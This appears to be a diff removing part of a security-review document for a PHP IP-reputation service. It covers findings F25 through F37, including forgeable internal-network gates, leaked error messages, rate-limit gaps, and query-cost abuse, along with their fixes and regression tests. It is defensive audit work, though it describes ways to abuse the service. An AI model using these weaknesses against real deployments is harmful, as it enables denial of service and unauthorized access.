- port 8081 from a 172.16/12 source, both the Caddyfile gate
|
|
|
|
|
- (`remote_ip 127.0.0.1/32 ::1/128 ...`) and the PHP
|
|
|
|
|
- `InternalNetworkMiddleware` see a forged source. The
|
|
|
|
|
- `INTERNAL_JOB_TOKEN` is still required, but the network-layer
|
|
|
|
|
- defense is bypassable on tenant-shared docker hosts.
|
|
|
|
|
-- **Severity: 2**
|
|
|
|
|
-- **Status:** Fixed. Three layers tighten the gate to loopback-only by
|
|
|
|
|
- default; everything else has to opt in explicitly:
|
|
|
|
|
- 1. **Caddy `trusted_proxies` narrowed.** `api/docker/Caddyfile`
|
|
|
|
|
- replaces `trusted_proxies static private_ranges` with
|
|
|
|
|
- `trusted_proxies static {$TRUSTED_PROXIES:127.0.0.1/32 ::1/128}`.
|
|
|
|
|
- With no env override, only loopback is treated as a "real proxy"
|
|
|
|
|
- for XFF rewriting — so a non-loopback peer can no longer forge
|
|
|
|
|
- `REMOTE_ADDR=127.0.0.1` via `X-Forwarded-For`. Operators behind a
|
|
|
|
|
- genuine reverse proxy set `TRUSTED_PROXIES` to that proxy's CIDR.
|
|
|
|
|
- 2. **Caddy `@internal` matcher narrowed.** The `remote_ip` allowlist
|
|
|
|
|
- for `/internal/*` is now `127.0.0.1/32 ::1/128` only — the wide
|
|
|
|
|
- RFC1918 entries (`172.16.0.0/12`, `10.0.0.0/8`, `192.168.0.0/16`)
|
|
|
|
|
- are gone. Mirrored on the opposite `not remote_ip` deny rule.
|
|
|
|
|
- 3. **PHP `InternalNetworkMiddleware` constructor-driven.** The
|
|
|
|
|
- hardcoded RFC1918 list is gone; the constructor now takes an
|
|
|
|
|
- optional CIDR list and falls back to
|
|
|
|
|
- `DEFAULT_ALLOWED_CIDRS = ['127.0.0.1/32', '::1/128']`. The DI
|
|
|
|
|
- container reads `INTERNAL_CIDR_ALLOWLIST` from env (parsed by a
|
|
|
|
|
- new `parseCidrList()` helper that fails-closed on invalid input)
|
|
|
|
|
- and passes the result to the middleware. Operators with a host-
|
|
|
|
|
- cron VM on a private bridge add their CIDR via env and Caddyfile.
|
|
|
|
|
- 4. **Sidecar scheduler joins the api's network namespace.**
|
|
|
|
|
- `compose.scheduler.yml` switches to `network_mode: "service:api"`
|
|
|
|
|
- and `scheduler.crontab` posts to `http://localhost:8081/...`
|
|
|
|
|
- instead of `http://api:8081/...`. The scheduler's call now
|
|
|
|
|
- arrives on `127.0.0.1` inside the shared netns, satisfying the
|
|
|
|
|
- loopback-only gate without weakening it for actual neighbours.
|
|
|
|
|
- SPEC §7 ("Scheduling") and §6 ("Internal endpoints") updated to
|
|
|
|
|
- match.
|
|
|
|
|
- Regression tests in `api/tests/Unit/Http/InternalNetworkMiddlewareTest.php`:
|
|
|
|
|
- the data provider now expects RFC1918 sources to be **rejected** under
|
|
|
|
|
- the default; new cases cover (a) `null` / `[]` falling back to the
|
|
|
|
|
- loopback default, (b) a custom `172.20.0.5/32` allowlist admitting only
|
|
|
|
|
- that exact source, (c) invalid CIDRs failing-closed at construction,
|
|
|
|
|
- and (d) the `parseCidrList()` env-parser accepting comma- and
|
|
|
|
|
- whitespace-separated input while throwing on garbage.
|
|
|
|
|
-
|
|
|
|
|
-### F26 — JsonErrorHandler can leak raw exception messages in production
|
|
|
|
|
-- **File:** `api/src/Infrastructure/Http/JsonErrorHandler.php:53-82`
|
|
|
|
|
-- **Risk:** The "hide details in prod" guard fires only when status
|
|
|
|
|
- ≥ 500. The `HttpException` branch returns
|
|
|
|
|
- `[$e->getCode(), ['error' => $e->getMessage()]]` for codes anywhere
|
|
|
|
|
- in 400–499 — attacker-influenced messages are returned verbatim.
|
|
|
|
|
- The catch-all branch passes `$e->getMessage()` into the payload
|
|
|
|
|
- and only overwrites it with `'internal error'` when status ≥ 500
|
|
|
|
|
- AND `!expose`. Internal exception types (DBAL, PDO, parse errors)
|
|
|
|
|
- whose `getCode()` happens to be in the 4xx range bypass
|
|
|
|
|
- suppression and return raw messages.
|
|
|
|
|
-- **Severity: 2**
|
|
|
|
|
-- **Status:** Fixed in `ce77454`. `JsonErrorHandler` now maps every
|
|
|
|
|
- HTTP status to a fixed `STATUS_TOKENS` lookup (`bad_request`,
|
|
|
|
|
- `forbidden`, `too_many_requests`, …) and only emits that canonical
|
|
|
|
|
- token in the `error` field. `Throwable::getMessage()` is no longer
|
|
|
|
|
- echoed to clients in production for any branch — `HttpException`,
|
|
|
|
|
- `HttpNotFoundException`, `HttpMethodNotAllowedException`, or
|
|
|
|
|
- catch-all. Out-of-range `getCode()` (including the default `0` from
|
|
|
|
|
- `new HttpException(...)`) is clamped to 500. Non-HttpException
|
|
|
|
|
- Throwables always collapse to status 500 regardless of their
|
|
|
|
|
- numeric code, closing the previous 4xx-bypass path. The raw
|
|
|
|
|
- exception class + message are only added under a separate
|
|
|
|
|
- `detail` key when `$displayErrorDetails` (Slim) or
|
|
|
|
|
- `$exposeDetails` (dev env) is on. New unit-test suite
|
|
|
|
|
- `JsonErrorHandlerTest` covers the canonical responses for
|
|
|
|
|
- HttpNotFound/HttpMethodNotAllowed/HttpBadRequest/HttpForbidden/
|
|
|
|
|
- HttpInternalServerError, the generic-Throwable 500 path, the
|
|
|
|
|
- 4xx-numeric-code-on-non-HttpException no-leak case, the clamp on
|
|
|
|
|
- `code=0`, the unmapped-but-valid 418 fallback, the dev-mode
|
|
|
|
|
- detail shape, and the per-request `displayErrorDetails` override.
|
|
|
|
|
-
|
|
|
|
|
-### F27 — `RateLimitMiddleware` is skipped when no principal is present
|
|
|
|
|
-- **Files:** `api/src/Infrastructure/Http/Middleware/RateLimitMiddleware.php:33-36`
|
|
|
|
|
-- **Risk:** The middleware bails out and forwards unrate-limited if
|
|
|
|
|
- `$principal` is missing. Anything outside the public group
|
|
|
|
|
- (admin/auth/internal/health/docs) receives no rate limiting.
|
|
|
|
|
- Auth-failed paths (401 from `TokenAuthenticationMiddleware`) never
|
|
|
|
|
- reach `RateLimitMiddleware` either — a client hammering with
|
|
|
|
|
- invalid bearer tokens incurs DB lookups (and `last_used_at` writes
|
|
|
|
|
- on hits) with zero backoff, pinning DB pool / connection budget.
|
|
|
|
|
-- **Severity: 2**
|
|
|
|
|
-- **Status:** Fixed in `060119a`. `RateLimitMiddleware` no longer
|
|
|
|
|
- bypasses on missing principal; it now derives the bucket key from
|
|
|
|
|
- whichever signal is present:
|
|
|
|
|
- - principal attached → `token:<tokenId>` (post-auth, original
|
|
|
|
|
- behaviour),
|
|
|
|
|
- - principal missing → `ip:<REMOTE_ADDR>` (pre-auth, new fail-closed
|
|
|
|
|
- path; empty/absent REMOTE_ADDR collapses to a single
|
|
|
|
|
- `ip:unknown` bucket so we never silently bypass).
|
|
|
|
|
- `RateLimiter::tryConsume()` now accepts arbitrary string keys so
|
|
|
|
|
- these namespaces stay independent — a single user's per-token bucket
|
|
|
|
|
- cannot drain the per-IP bucket that throttles unauthenticated
|
|
|
|
|
- traffic.
|
|
|
|
|
-
|
|
|
|
|
- `AppFactory` registers `RateLimitMiddleware` twice on `/api/v1/*` and
|
|
|
|
|
- `/api/v1/auth/*`: once as the outermost layer (runs before
|
|
|
|
|
- `TokenAuthenticationMiddleware`, consumes from the IP bucket) and
|
|
|
|
|
- once between `AuditContext` and the handler (consumes from the
|
|
|
|
|
- token bucket once a principal is attached). The pre-auth position
|
|
|
|
|
- is what closes the 401-bypass: invalid-bearer floods now hit the
|
|
|
|
|
- IP bucket and 429 before the request reaches `tokens.findByHash()`.
|
|
|
|
|
-
|
|
|
|
|
- Admin/internal/health/docs route groups still have no rate limit —
|
|
|
|
|
- that is the scope of F29 (admin) and existing internal-network /
|
|
|
|
|
- loopback gating, not this finding.
|
|
|
|
|
-
|
|
|
|
|
- Tests:
|
|
|
|
|
- - `RateLimiterTest::testTokenAndIpNamespacesDoNotShareABucket`
|
|
|
|
|
- verifies the namespaces hold separate buckets.
|
|
|
|
|
- - New `RateLimitMiddlewareTest` covers token-keyed buckets,
|
|
|
|
|
- IP-keyed fallback, per-IP isolation, and the
|
|
|
|
|
- missing/empty `REMOTE_ADDR` `ip:unknown` collapse.
|
|
|
|
|
- - `RateLimitTest::testInvalidBearerTokenFloodIsRateLimitedBeforeAuth`
|
|
|
|
|
- sends 20 requests with a junk bearer; the first 4 reach the
|
|
|
|
|
- auth path (401), the rest 429 before any DB lookup.
|
|
|
|
|
- - `RateLimitTest::testMissingBearerHeaderIsAlsoRateLimitedByIp`
|
|
|
|
|
- covers the no-Authorization-header case on `/api/v1/blocklist`.
|
|
|
|
|
-
|
|
|
|
|
-### F28 — Rate limiter buckets are per-process, unbounded, and reset per replica
|
|
|
|
|
-- **File:** `api/src/Infrastructure/Http/RateLimiter.php:23-49`
|
|
|
|
|
-- **Risk:** `$buckets` is unbounded and never evicted (token churn
|
|
|
|
|
- balloons memory in long-lived FrankenPHP workers). Multi-replica
|
|
|
|
|
- deployments give an attacker a fresh bucket per replica — effective
|
|
|
|
|
- rate is `(perSecond) * N_replicas` per token behind a non-sticky
|
|
|
|
|
- LB. Idle/revoked tokens linger forever until container restart.
|
|
|
|
|
-- **Severity: 2**
|
|
|
|
|
-- **Status:** Fixed in `e09964b`. `RateLimiter` now caps the bucket map at a
|
|
|
|
|
- configurable `maxBuckets` (default 10 000). Every `tryConsume()`
|
|
|
|
|
- re-inserts the touched key at the end of the PHP array so insertion
|
|
|
|
|
- order tracks LRU; on overflow the oldest entries get dropped in
|
|
|
|
|
- batches of 256 so eviction amortises across requests instead of
|
|
|
|
|
- running on every call once we're at steady state. A dropped bucket
|
|
|
|
|
- comes back as a fresh full-capacity bucket on next access —
|
|
|
|
|
- equivalent to the bucket having idled long enough to refill, so
|
|
|
|
|
- eviction never grants more tokens than the configured rate would
|
|
|
|
|
- already permit. The cap kills the unbounded-growth path and
|
|
|
|
|
- short-circuits the "idle/revoked tokens linger forever" leak: once a
|
|
|
|
|
- rotated/revoked token's bucket is the LRU front, the next eviction
|
|
|
|
|
- drops it. The multi-replica half is a SPEC §10 topology constraint
|
|
|
|
|
- (single-replica is the documented supported topology for the
|
|
|
|
|
- limiter; horizontal `api` scaling requires sticky LB) and is tracked
|
|
|
|
|
- separately as future scaling work to swap the in-process map for a
|
|
|
|
|
- shared backend (Redis / DB). Regression tests in
|
|
|
|
|
- `api/tests/Unit/Http/RateLimiterTest.php`
|
|
|
|
|
- (`testBucketMapIsBoundedByMaxBucketsCap`,
|
|
|
|
|
- `testEvictedBucketReturnsAtFullCapacityOnReuse`,
|
|
|
|
|
- `testRecentlyTouchedKeyIsNotEvicted`,
|
|
|
|
|
- `testMaxBucketsBelowEvictionBatchIsRejected`).
|
|
|
|
|
-
|
|
|
|
|
-### F29 — `/api/v1/admin/*` group has no rate limit
|
|
|
|
|
-- **File:** `api/src/App/AppFactory.php:188-337`
|
|
|
|
|
-- **Risk:** The admin group attaches `tokenAuth → impersonation →
|
|
|
|
|
- auditContext` but not `$rateLimit`. Combined with F30 (slow
|
|
|
|
|
- searchIps), F31 (deep-offset audit), and F32 (N+1 enrichment), any
|
|
|
|
|
- compromised Viewer token (Viewer is the OIDC default role) can
|
|
|
|
|
- issue unlimited heavy queries.
|
|
|
|
|
-- **Severity: 2**
|
|
|
|
|
-- **Status:** Fixed in `a997d65`. The admin route group now attaches
|
|
|
|
|
- `RateLimitMiddleware` in the same two-position pattern used by the
|
|
|
|
|
- public and auth groups (SEC_REVIEW F27): once as the outermost
|
|
|
|
|
- layer (pre-auth, `ip:<REMOTE_ADDR>` bucket — throttles
|
|
|
|
|
- invalid-bearer floods before TokenAuth queries the DB) and once
|
|
|
|
|
- innermost (post-auth, `token:<tokenId>` bucket — caps an
|
|
|
|
|
- authenticated Viewer driving the heavy admin queries flagged by
|
|
|
|
|
- F30/F31/F32). The order added is
|
|
|
|
|
- `rateLimit(token) → auditContext → impersonation → tokenAuth →
|
|
|
|
|
- rateLimit(ip)` so execution runs `ip → tokenAuth → impersonation →
|
|
|
|
|
- auditContext → token → controller`. Mitigates F29 directly and
|
|
|
|
|
- bounds the impact of F30/F31/F32 until those land their own fixes.
|
|
|
|
|
- Regression tests in `api/tests/Integration/Public/RateLimitTest.php`
|
|
|
|
|
- (`testAdminRoutesAreRateLimited` — replaces the prior
|
|
|
|
|
- `testAdminRoutesNotRateLimited` which encoded the bug as expected
|
|
|
|
|
- behaviour — and `testAdminAuditLogIsRateLimitedPerToken`).
|
|
|
|
|
-
|
|
|
|
|
-### F30 — `IpScoreRepository::searchIps` allows full-table scan via `q=%X%`
|
|
|
|
|
-- **File:** `api/src/Infrastructure/Reputation/IpScoreRepository.php:146-307`
|
|
|
|
|
-- **Risk:** For any `q` value not matching `/^[\da-fA-F:.]+$/`, the
|
|
|
|
|
- query degrades to `LIKE '%q%'`, forcing a full `ip_scores` table
|
|
|
|
|
- scan + `GROUP BY ip_bin, ip_text` (no index supports a
|
|
|
|
|
- non-anchored LIKE). At the SPEC's 50k-row target this is slow.
|
|
|
|
|
- Pair with `min_score`/`max_score` HAVING and the LEFT JOIN on
|
|
|
|
|
- `ip_enrichment` (joined whenever country or asn is supplied) and a
|
|
|
|
|
- Viewer can drive pathological execution per request. There is no
|
|
|
|
|
- statement timeout. Each request also runs a separate `COUNT(*)`
|
|
|
|
|
- over the same wrapped subquery, doubling cost.
|
|
|
|
|
-- **Severity: 2**
|
|
|
|
|
-- **Status:** Fixed in `2cc1924`. `IpsController::parseSearchFilters`
|
|
|
|
|
- rejects any `q` that doesn't match `/^[0-9a-fA-F:.]+$/` or exceeds
|
|
|
|
|
- 64 chars (IPv6 max is 39) with 400 `validation_failed`, so the
|
|
|
|
|
- non-anchored substring path can no longer be reached from the API.
|
|
|
|
|
- `IpScoreRepository::searchIps` drops the `%q%` branch entirely —
|
|
|
|
|
- the only LIKE shape it ever issues is `s.ip_text LIKE 'q%'`, and
|
|
|
|
|
- it re-validates `q` with the same regex as defence-in-depth so a
|
|
|
|
|
- future caller cannot accidentally reintroduce a full-table scan.
|
|
|
|
|
- Same change incidentally closes F46 (`%`/`_` wildcard injection in
|
|
|
|
|
- the IPs search), since neither character survives the regex.
|
|
|
|
|
- Pre-auth and per-token admin rate limits added under F29
|
|
|
|
|
- bound the cost of even the legitimate prefix path. The remaining
|
|
|
|
|
- `COUNT(*)` cost on deep filters is tracked under F31/F32.
|
|
|
|
|
- Regression tests in
|
|
|
|
|
- `api/tests/Integration/Admin/IpsControllerTest.php`
|
|
|
|
|
- (`testSearchRejectsNonIpShapedQuery`,
|
|
|
|
|
- `testSearchRejectsOverlongQuery`,
|
|
|
|
|
- `testSearchQueryIsPrefixAnchoredNotSubstring`).
|
|
|
|
|
-
|
|
|
|
|
-### F31 — `AuditController` has no length cap, no max-offset cap, deep-offset scans
|
|
|
|
|
-- **Files:** `api/src/Application/Admin/AuditController.php:58-101`,
|
|
|
|
|
- `api/src/Infrastructure/Audit/AuditRepository.php:68-129`
|
|
|
|
|
-- **Risk:** `action`, `entity_type`, `entity_id`, `subject_id` are
|
|
|
|
|
- passed unfiltered. With `page_size=200` and large `offset`,
|
|
|
|
|
- `LIMIT 200 OFFSET huge` causes a deep scan over `audit_log`. No
|
|
|
|
|
- max-offset cap. `COUNT(*)` runs on every paginated request. A
|
|
|
|
|
- logged-in Viewer can hit `?page=999999&page_size=200` to force
|
|
|
|
|
- scans repeatedly.
|
|
|
|
|
-- **Severity: 2**
|
|
|
|
|
-- **Status:** Fixed in `3a2564d`. `AuditController::list` now bounds every
|
|
|
|
|
- free-form filter (`action`, `entity_type`, `entity_id`,
|
|
|
|
|
- `subject_kind`, `subject_id`) to `MAX_FILTER_LENGTH = 128` chars and
|
|
|
|
|
- rejects any computed offset above `MAX_OFFSET = 10 000` with 400
|
|
|
|
|
- `validation_failed` (`{"page": "pagination depth exceeded; use `to=`
|
|
|
|
|
- to cursor into older rows"}`). The cap is large enough to
|
|
|
|
|
- comfortably page through human-driven browsing (offset 10 000
|
|
|
|
|
- covers 200 pages of 50 or 50 pages of 200) but bounds the
|
|
|
|
|
- `LIMIT n OFFSET huge` worst case the finding describes. The
|
|
|
|
|
- request-time `COUNT(*)` cost is bounded by the same gate — once a
|
|
|
|
|
- Viewer can't drive offsets past 10 k, the count's cost is bounded
|
|
|
|
|
- by the WHERE-clause's selectivity instead of by attacker choice;
|
|
|
|
|
- the per-token admin rate limit added under F29 caps how often a
|
|
|
|
|
- Viewer can issue these counts. Regression tests in
|
|
|
|
|
- `api/tests/Integration/Admin/AuditLogControllerTest.php`
|
|
|
|
|
- (`testOversizedFilterRejected`, `testDeepOffsetRejected`,
|
|
|
|
|
- `testDeepOffsetAtBoundaryAccepted`).
|
|
|
|
|
-
|
|
|
|
|
-### F32 — Admin list endpoints execute N+1 enrichment lookups per page row
|
|
|
|
|
-- **Files:** `api/src/Application/Admin/IpsController.php:84-86, 187-190`,
|
|
|
|
|
- `api/src/Application/Admin/AdminControllerSupport.php:67-77`
|
|
|
|
|
-- **Risk:** `IpsController::list` calls
|
|
|
|
|
- `enrichment->findByIpBin()` and `effectiveStatusFor()` per row.
|
|
|
|
|
- At `page_size=200`, that's 400+ DB roundtrips per request. With
|
|
|
|
|
- no admin rate limit (F29), this amplifies query cost
|
|
|
|
|
- significantly. Refactor to batch-load enrichment by ip_bin set.
|
|
|
|
|
-- **Severity: 2**
|
|
|
|
|
-- **Status:** Fixed in `0594305`. `IpsController::list` no longer issues per-row
|
|
|
|
|
- lookups. Two new batch methods replace the inner loop:
|
|
|
|
|
- `IpEnrichmentRepository::findByIpBins()` runs a single
|
|
|
|
|
- `WHERE ip_bin IN (…)` SELECT and returns a bin-keyed map;
|
|
|
|
|
- `IpScoreRepository::topCategoryByIpBins()` runs one
|
|
|
|
|
- `score > 0 AND ip_bin IN (…) ORDER BY ip_bin, score DESC` SELECT
|
|
|
|
|
- and groups in PHP. The third per-row call —
|
|
|
|
|
- `EffectiveStatusService::forIp` — is replaced by
|
|
|
|
|
- `effectiveStatusFromRow()`, which derives the `Scored` decision
|
|
|
|
|
- from the search row's existing `max_score` column and reuses the
|
|
|
|
|
- in-memory `CidrEvaluator` for the `Allowlisted` / `ManuallyBlocked`
|
|
|
|
|
- checks (already O(1) hash lookups, loaded once per request). Net
|
|
|
|
|
- cost drops from `2 + 3·page_size` round-trips per page (601 at
|
|
|
|
|
- page_size=200) to 4: search + count, plus the two batch lookups —
|
|
|
|
|
- invariant in page size. Combined with the per-token admin rate
|
|
|
|
|
- limit added under F29 and the deep-pagination guard added under
|
|
|
|
|
- F31, a Viewer can no longer drive query cost via either depth or
|
|
|
|
|
- per-row amplification. Regression tests in
|
|
|
|
|
- `api/tests/Integration/Admin/IpsControllerTest.php`
|
|
|
|
|
- (`testSearchBatchesPerRowLookups`, `testSearchStatusUsesMaxScoreColumn`).
|
|
|
|
|
-
|
|
|
|
|
----
|
|
|
|
|
-
|
|
|
|
|
-## Severity 1 — low / informational
|
|
|
|
|
-
|
|
|
|
|
-### F33 — `OidcClaims->email` is `?string` but `upsertOidc` types it as `string`
|
|
|
|
|
-- **Files:** `api/src/Infrastructure/Auth/UserRepository.php:65-71`,
|
|
|
|
|
- `ui/src/Auth/JumbojettOidcAuthenticator.php:56-61`
|
|
|
|
|
-- **Risk:** Type-system finding rather than direct exploit; a TypeError
|
|
|
|
|
- at the boundary on null email. Downstream merge-by-email tools could
|
|
|
|
|
- later confuse two users since the OIDC primary key is `subject` but
|
|
|
|
|
- some IdPs don't release `email`.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. `UserRepository::upsertOidc` now types `email` as
|
|
|
|
|
- `?string` and the DBAL upsert persists `users.email = NULL` when the
|
|
|
|
|
- IdP doesn't release the claim. `AuthController::upsertOidc` switches
|
|
|
|
|
- to a `nullableStr()` extractor for `email` (missing / JSON-null /
|
|
|
|
|
- empty string all collapse to `null`); `subject` and `display_name`
|
|
|
|
|
- remain mandatory. The `user.created` / `user.role_changed` audit
|
|
|
|
|
- rows fall back to `display_name` for `target_label` when `email`
|
|
|
|
|
- is null, so SOC tooling still gets a human-readable identifier.
|
|
|
|
|
- Regression tests in
|
|
|
|
|
- `api/tests/Integration/Auth/AuthEndpointsTest.php`
|
|
|
|
|
- (`testUpsertOidcAcceptsMissingEmail`,
|
|
|
|
|
- `testUpsertOidcAcceptsExplicitNullEmail`,
|
|
|
|
|
- `testUpsertOidcStillRejectsMissingSubject`,
|
|
|
|
|
- `testUpsertOidcStillRejectsMissingDisplayName`).
|
|
|
|
|
-
|
|
|
|
|
-### F34 — Sensitive identifiers logged at INFO/WARN/ERROR
|
|
|
|
|
-- **Files:** `ui/src/Auth/LoginThrottle.php:79-90`,
|
|
|
|
|
- `ui/src/Auth/OidcController.php:84`
|
|
|
|
|
-- **Risk:** Attempted usernames (which can include passwords typed in
|
|
|
|
|
- the wrong field), source IPs, and OIDC subjects are logged in
|
|
|
|
|
- plaintext. SIEM exports / log access by lower-trust operators
|
|
|
|
|
- amount to accidental disclosure.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. New `App\Logging\LogIdentifier::fingerprint()` helper
|
|
|
|
|
- produces a stable 12-hex-char SHA-256 prefix of any sensitive
|
|
|
|
|
- identifier; an empty input collapses to the `empty` sentinel so log
|
|
|
|
|
- matching doesn't fold an absent field into the SHA-256-of-empty
|
|
|
|
|
- bucket. `LoginThrottle::recordFailure()` now logs `username_fp` and
|
|
|
|
|
- `source_ip_fp` instead of the raw values on both the per-IP and
|
|
|
|
|
- per-username buckets, on both the failure-with-no-lock and
|
|
|
|
|
- lockout-triggered paths. `OidcController` logs `subject_fp` instead
|
|
|
|
|
- of `subject` on the `user_disabled` denial and the no-role-assigned
|
|
|
|
|
- branch. Triage by counting hits on a single fingerprint still works;
|
|
|
|
|
- a SIEM reader no longer sees passwords typed in the username field,
|
|
|
|
|
- raw client addresses, or IdP `sub` claims. (The fingerprint is not
|
|
|
|
|
- cryptographic protection against an attacker with full log access
|
|
|
|
|
- who is willing to brute-force a small space such as the IPv4
|
|
|
|
|
- universe — that threat is out of scope for F34, which targets
|
|
|
|
|
- accidental disclosure.) Regression tests:
|
|
|
|
|
- `ui/tests/Unit/Logging/LogIdentifierTest.php`,
|
|
|
|
|
- `LoginThrottleTest::testRecordFailureLogsFingerprintsNotRawIdentifiers`,
|
|
|
|
|
- and the two new
|
|
|
|
|
- `OidcFlowTest::test{NoneRoleDoesNotLogRawSubject,DisabledUserDeniedDoesNotLogRawSubject}`
|
|
|
|
|
- cases (the latter exercised via a new `AppTestCase::captureLogs()`
|
|
|
|
|
- helper that swaps in a Monolog `TestHandler`).
|
|
|
|
|
-
|
|
|
|
|
-### F35 — `INTERNAL_JOB_TOKEN` has no minimum-length enforcement at startup
|
|
|
|
|
-- **File:** `api/src/Infrastructure/Http/Middleware/InternalTokenMiddleware.php:35-47`
|
|
|
|
|
-- **Risk:** `hash_equals` is correct, but a misconfigured deploy with
|
|
|
|
|
- `INTERNAL_JOB_TOKEN=foo` is accepted as long as it is non-empty.
|
|
|
|
|
- Network gate (`InternalNetworkMiddleware`) limits exposure but
|
|
|
|
|
- combined with F25 a docker-network neighbour can brute-force a
|
|
|
|
|
- weak token. Validate at startup that the token is at least 32 hex
|
|
|
|
|
- chars or refuse to boot.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. New `App\App\Config::validateOrExit()` (mirrors the
|
|
|
|
|
- ui's `App\App\Config::validateOrExit`) runs from `api/public/index.php`
|
|
|
|
|
- before `Container::build()`. It refuses to boot unless
|
|
|
|
|
- `INTERNAL_JOB_TOKEN` matches `^[0-9a-fA-F]{32,}$`, writing a clear
|
|
|
|
|
- human-readable error to STDERR and `exit(1)`-ing so the
|
|
|
|
|
- misconfiguration crashes on `docker compose up` rather than serving
|
|
|
|
|
- `/internal/*` to a docker-network neighbour with a weak shared secret.
|
|
|
|
|
- 32 hex chars = 128 bits of entropy; the `.env.example` documents
|
|
|
|
|
- 64 (from `openssl rand -hex 32`) and that remains the recommendation.
|
|
|
|
|
- The middleware's own runtime branch
|
|
|
|
|
- (`if ($expectedToken === '') { unauthorized; }`) stays in place as a
|
|
|
|
|
- belt-and-braces defence-in-depth check for tests and for the
|
|
|
|
|
- hypothetical case where a future call site builds the container
|
|
|
|
|
- directly without going through `public/index.php`. Tests bypass the
|
|
|
|
|
- validator (they call `Container::build($settings)` directly with
|
|
|
|
|
- empty values), so the fix doesn't perturb `AppTestCase`. Regression
|
|
|
|
|
- tests in `api/tests/Unit/App/ConfigTest.php` cover empty / missing-
|
|
|
|
|
- key / short-hex / non-hex / 'foo' / 32-char-hex / 64-char-hex /
|
|
|
|
|
- uppercase-hex, and a subprocess test asserts `validateOrExit()`
|
|
|
|
|
- writes the error to STDERR and exits 1.
|
|
|
|
|
-
|
|
|
|
|
-### F36 — UI session role/identity is captured at login and never re-validated
|
|
|
|
|
-- **Files:** `ui/src/Http/AuthRequiredMiddleware.php:27-32`,
|
|
|
|
|
- `ui/src/Auth/SessionManager.php:84-99`
|
|
|
|
|
-- **Risk:** If an OIDC user is removed from an admin group in Entra,
|
|
|
|
|
- or a user record is deleted/disabled in the api, the existing UI
|
|
|
|
|
- session continues to operate with the stale role until expiry
|
|
|
|
|
- (8h idle / 24h absolute). No "revoke session by user_id"
|
|
|
|
|
- primitive.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. `AuthRequiredMiddleware` now periodically
|
|
|
|
|
- revalidates the cached `UserContext` against `GET /api/v1/admin/me`.
|
|
|
|
|
- Cadence is configurable via `UI_SESSION_REVALIDATE_SECONDS` (default
|
|
|
|
|
- 300 seconds — 5 minutes); the middleware tracks the last revalidation
|
|
|
|
|
- timestamp in a new `_revalidated_at` session slot owned by
|
|
|
|
|
- `SessionManager`. Branches:
|
|
|
|
|
- - **403 from the api** (`user_disabled` or `unknown impersonated user`)
|
|
|
|
|
- → session cleared, error flash "Your access was revoked. Please
|
|
|
|
|
- sign in again.", 302 to `/login`. The api's existing F11 disabled-
|
|
|
|
|
- user path drives this from the server side, so `Disabled` /
|
|
|
|
|
- deleted users are kicked off all live sessions within one
|
|
|
|
|
- revalidation window.
|
|
|
|
|
- - **404** → defensive same-as-403 (the api currently always returns
|
|
|
|
|
- 403 for missing/disabled users; treat 404 the same way for safety).
|
|
|
|
|
- - **200 with changed role / display\_name / email** →
|
|
|
|
|
- `SessionManager::updateUser()` rewrites the cached row but
|
|
|
|
|
- preserves `_authenticated_at` / `_last_active` so the 8h idle and
|
|
|
|
|
- 24h absolute timeouts keep running off the original login.
|
|
|
|
|
- - **200 unchanged** → just bump `_revalidated_at`.
|
|
|
|
|
- - **api unreachable / 401 / 5xx / generic** → log a warning, mark
|
|
|
|
|
- revalidated to avoid grinding on every request, and proceed with
|
|
|
|
|
- the existing session. An api outage must not lock every live
|
|
|
|
|
- session out, and the api itself is the authoritative gate on
|
|
|
|
|
- every data call (it re-resolves the principal via
|
|
|
|
|
- `X-Acting-User-Id` per request, F11), so a stale UI cache during
|
|
|
|
|
- an outage cannot escalate privilege.
|
|
|
|
|
- Pre-F36 ("legacy") sessions without `_revalidated_at` are
|
|
|
|
|
- bootstrapped on first sight without an api call, so existing
|
|
|
|
|
- rolling sessions don't all stampede the api on deploy. Tests:
|
|
|
|
|
- `ui/tests/Integration/Auth/SessionRevalidationTest.php` covers
|
|
|
|
|
- within-interval (no api call), past-interval-no-change,
|
|
|
|
|
- past-interval-role-changed (admin → viewer is reflected
|
|
|
|
|
- immediately), `user_disabled` and unknown-user kick paths,
|
|
|
|
|
- api-unreachable-keeps-session, and the legacy-session bootstrap.
|
|
|
|
|
-
|
|
|
|
|
-### F37 — Local-admin password hash algorithm not validated at boot
|
|
|
|
|
-- **File:** `ui/src/Auth/LocalLoginController.php:42, 78`
|
|
|
|
|
-- **Risk:** No check that `LOCAL_ADMIN_PASSWORD_HASH` is Argon2id (or
|
|
|
|
|
- bcrypt cost ≥ 12). An operator who passes `$2y$04$…` (cost 4) or a
|
|
|
|
|
- legacy `$1$…` MD5-crypt string would have it accepted. Use
|
|
|
|
|
- `password_get_info()` and refuse to enable local-admin if the
|
|
|
|
|
- algorithm is below threshold.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. `App\App\Config::validateOrExit` (called from
|
|
|
|
|
- `Bootstrap::run()` before `Container::build()`) now refuses to boot
|
|
|
|
|
- when `LOCAL_ADMIN_ENABLED=true` and the configured
|
|
|
|
|
- `LOCAL_ADMIN_PASSWORD_HASH` is anything other than Argon2id or
|
|
|
|
|
- bcrypt with cost ≥ 12 (new `Config::BCRYPT_MIN_COST` constant). The
|
|
|
|
|
- algorithm is read via `password_get_info()`, so unknown / legacy
|
|
|
|
|
- formats (`$1$…` md5-crypt, `$5$…` sha256-crypt, plain text, base64
|
|
|
|
|
- noise) all collapse into the rejection branch with the same
|
|
|
|
|
- human-readable message pointing the operator at
|
|
|
|
|
- `password_hash('…', PASSWORD_ARGON2ID)`. argon2i is also rejected
|
|
|
|
|
- because it doesn't meet the SEC_REVIEW threshold even though
|
|
|
|
|
- `password_hash` accepts it. Tests: bypass the validator (the
|
|
|
|
|
- `Bootstrap::container()` test path is unchanged), so existing
|
|
|
|
|
- fixtures continue to use Argon2id without ceremony. Regression
|
|
|
|
|
- tests in `ui/tests/Unit/App/ConfigTest.php` cover Argon2id-accept,
|
|
|
|
|
- bcrypt-cost-12-accept, bcrypt-cost-4-reject, argon2i-reject,
|
|
|
|
|
- md5-crypt-reject, plain-string-reject, empty-string-reject, and
|
|
|
|
|
- the "local admin disabled, hash not checked" branch (operators who
|
|
|
|
|
